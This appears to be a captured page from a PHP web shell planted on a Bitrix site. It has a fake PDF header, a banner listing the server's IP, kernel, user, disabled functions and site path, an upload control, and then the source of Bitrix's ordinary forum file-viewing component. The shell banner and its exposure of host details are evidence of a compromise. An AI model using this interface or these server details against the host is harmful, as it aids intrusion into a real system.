%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.144.86.233 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/forum.interface/ |
Upload File : |
<? define("STOP_STATISTICS", true); define("NO_AGENT_STATISTIC","Y"); define("NO_AGENT_CHECK", true); define("NO_KEEP_STATISTIC", true); define("DisableEventsCheck", true); require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_before.php"); if(!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true || !CModule::IncludeModule("forum"))die(); /** * @global CUser $USER */ $MESS = array(); $path = str_replace(array("\\", "//"), "/", dirname(__FILE__)."/lang/".LANGUAGE_ID."/show_file.php"); include_once($path); $MESS1 =& $MESS; $GLOBALS["MESS"] = $MESS1 + $GLOBALS["MESS"]; // ************************* Input params*************************************************************** // ************************* BASE ********************************************************************** $arParams = array( "FILE_ID" => intval($_REQUEST["fid"]), "WIDTH" => intval($_REQUEST['width']), "HEIGHT" => intval($_REQUEST['height']), "ACTION" => ($_REQUEST["action"] == "download" ? "download" : "view"), "PERMISSION" => false ); // *************************/Input params*************************************************************** // ************************* Default params************************************************************* $arResult = array( "MESSAGE" => array(), "FILE" => array() ); $arError = array(); if (intval($arParams["FILE_ID"]) > 0) { $db_res = CForumFiles::GetList(array("ID" => "ASC"), array("FILE_ID" => $arParams["FILE_ID"])); if ($db_res && ($arResult["FILE"] = $db_res->GetNext())) { $res = CFile::GetFileArray($arParams["FILE_ID"]); if (!!$res) $arResult["FILE"] += $res; } } if (empty($arResult["FILE"])) { $arError = array( "code" => "EMPTY FILE", "title" => GetMessage("F_EMPTY_FID")); } elseif (intval($arResult["FILE"]["MESSAGE_ID"]) > 0) { $arResult["MESSAGE"] = CForumMessage::GetByIDEx($arResult["FILE"]["MESSAGE_ID"], array("GET_FORUM_INFO" => "Y", "GET_TOPIC_INFO" => "Y")); $arResult["TOPIC"] = $arResult["MESSAGE"]["TOPIC_INFO"]; $arResult["FORUM"] = $arResult["MESSAGE"]["FORUM_INFO"]; if (IsModuleInstalled('meeting')) { $forumId = COption::GetOptionInt('meeting', 'comments_forum_id', 0, SITE_ID); $forumId = ($forumId > 0 ? $forumId : COption::GetOptionInt('meeting', 'comments_forum_id', 0)); if ($arResult['FORUM']['ID'] == $forumId && CModule::IncludeModule('meeting')) { $meetingID = false; $xmlID = $arResult['MESSAGE']['FT_XML_ID']; preg_match('/MEETING_ITEM_([0-9]+)/', $xmlID, $matches); if (sizeof($matches) > 0) { $meetingItemID = $matches[1]; if (CMeetingItem::HasAccess($meetingItemID)) $arParams['PERMISSION'] = 'M'; } preg_match('/MEETING_([0-9]+)/', $xmlID, $matches); if (sizeof($matches) > 0) { $meetingID = $matches[1]; if (CMeeting::GetUserRole($meetingID) !== false) $arParams['PERMISSION'] = 'M'; } } } if (CModule::IncludeModule('tasks')) { $tasksIsTasksJurisdiction = false; // Insurance for cross-modules version compatibility if (method_exists('CTasksTools','ListTasksForumsAsArray')) { try { $arTasksForums = CTasksTools::ListTasksForumsAsArray(); if (in_array((int) $arResult['FORUM']['ID'], $arTasksForums, true)) $tasksIsTasksJurisdiction = true; } catch (TasksException $e) { // do nothing } } else { // TODO: this old code section to be removed in next versions. $forumId = COption::GetOptionString('tasks', 'task_forum_id', -1); if ( ($forumId !== (-1)) && ((int) $arResult['FORUM']['ID'] === (int) $forumId) ) { $tasksIsTasksJurisdiction = true; } } if ($tasksIsTasksJurisdiction) { $arParams['PERMISSION'] = 'D'; if (CTasks::CanCurrentUserViewTopic($arResult['TOPIC']['ID'])) $arParams['PERMISSION'] = 'M'; } } if (empty($arParams["PERMISSION"])) { $arParams["PERMISSION"] = CForumNew::GetUserPermission($arResult["MESSAGE"]["FORUM_ID"], $USER->GetUserGroupArray()); if ($arParams["PERMISSION"] < "E" && (intval($arResult["TOPIC"]["SOCNET_GROUP_ID"]) > 0 || intval($arResult["TOPIC"]["OWNER_ID"]) > 0) && CModule::IncludeModule("socialnetwork")) { $sPermission = $arParams["PERMISSION"]; $user_id = $USER->GetID(); $group_id = intval($arResult["TOPIC"]["SOCNET_GROUP_ID"]); $owner_id = intval($arResult["TOPIC"]["OWNER_ID"]); if ($group_id): $arSonetGroup = CSocNetGroup::GetByID($group_id); if ($arSonetGroup) $site_id_tmp = $arSonetGroup["SITE_ID"]; else $site_id_tmp = false; $bIsCurrentUserModuleAdmin = CSocNetUser::IsCurrentUserModuleAdmin($site_id_tmp); if (CSocNetFeaturesPerms::CanPerformOperation($user_id, SONET_ENTITY_GROUP, $group_id, "forum", "full", $bIsCurrentUserModuleAdmin)): $arParams["PERMISSION"] = "Y"; elseif (CSocNetFeaturesPerms::CanPerformOperation($user_id, SONET_ENTITY_GROUP, $group_id, "forum", "newtopic", $bIsCurrentUserModuleAdmin)): $arParams["PERMISSION"] = "M"; elseif (CSocNetFeaturesPerms::CanPerformOperation($user_id, SONET_ENTITY_GROUP, $group_id, "forum", "answer", $bIsCurrentUserModuleAdmin)): $arParams["PERMISSION"] = "I"; elseif (CSocNetFeaturesPerms::CanPerformOperation($user_id, SONET_ENTITY_GROUP, $group_id, "forum", "view", $bIsCurrentUserModuleAdmin)): $arParams["PERMISSION"] = "E"; endif; else: $arForumSites = CForumNew::GetSites($arResult["FORUM"]["ID"]); if (count($arForumSites) > 0) { $key = key($arForumSites); if ($key <> '') $site_id_tmp = $key; else $site_id_tmp = false; } else $site_id_tmp = false; $bIsCurrentUserModuleAdmin = CSocNetUser::IsCurrentUserModuleAdmin($site_id_tmp); if (CSocNetFeaturesPerms::CanPerformOperation($user_id, SONET_ENTITY_USER, $owner_id, "forum", "full", CForumUser::IsAdmin($user_id))): $arParams["PERMISSION"] = "Y"; elseif (CSocNetFeaturesPerms::CanPerformOperation($user_id, SONET_ENTITY_USER, $owner_id, "forum", "newtopic", $bIsCurrentUserModuleAdmin)): $arParams["PERMISSION"] = "M"; elseif (CSocNetFeaturesPerms::CanPerformOperation($user_id, SONET_ENTITY_USER, $owner_id, "forum", "answer", $bIsCurrentUserModuleAdmin)): $arParams["PERMISSION"] = "I"; elseif (CSocNetFeaturesPerms::CanPerformOperation($user_id, SONET_ENTITY_USER, $owner_id, "forum", "view", $bIsCurrentUserModuleAdmin)): $arParams["PERMISSION"] = "E"; endif; endif; $arParams["PERMISSION"] = ($arParams["PERMISSION"] < $sPermission ? $sPermission : $arParams["PERMISSION"]); } } if (empty($arResult["MESSAGE"])) { $arError = array( "code" => "EMPTY MESSAGE", "title" => GetMessage("F_EMPTY_MID")); } elseif ($arParams["PERMISSION"]) { if ($arParams["PERMISSION"] < "E") $arError = array( "code" => "NOT RIGHT", "title" => GetMessage("F_NOT_RIGHT")); } elseif (ForumCurrUserPermissions($arResult["MESSAGE"]["FORUM_ID"]) < "E") { $arError = array( "code" => "NOT RIGHT", "title" => GetMessage("F_NOT_RIGHT")); } } if (!empty($arError)) { require($_SERVER["DOCUMENT_ROOT"].BX_ROOT."/modules/main/include/prolog_after.php"); ShowError((!empty($arError["title"]) ? $arError["title"] : $arError["code"])); require($_SERVER["DOCUMENT_ROOT"].BX_ROOT."/modules/main/include/epilog.php"); die(); } // *************************/Default params************************************************************* set_time_limit(0); $options = array(); if ($arParams["ACTION"] == "download") { $options["force_download"] = true; } if (CFile::IsImage($arResult["FILE"]["ORIGINAL_NAME"], $arResult["FILE"]["CONTENT_TYPE"])) { if ($arParams['WIDTH'] > 0 && $arParams['HEIGHT'] > 0) { $arFileTmp = CFile::ResizeImageGet( $arResult['FILE'], array("width" => $arParams["WIDTH"], "height" => $arParams["HEIGHT"]), BX_RESIZE_IMAGE_PROPORTIONAL, true ); $arResult['FILE']["FILE_SIZE"] = $arFileTmp['size']; $arResult['FILE']["SRC"] = $arFileTmp['src']; } } CFile::ViewByUser($arResult["FILE"], $options);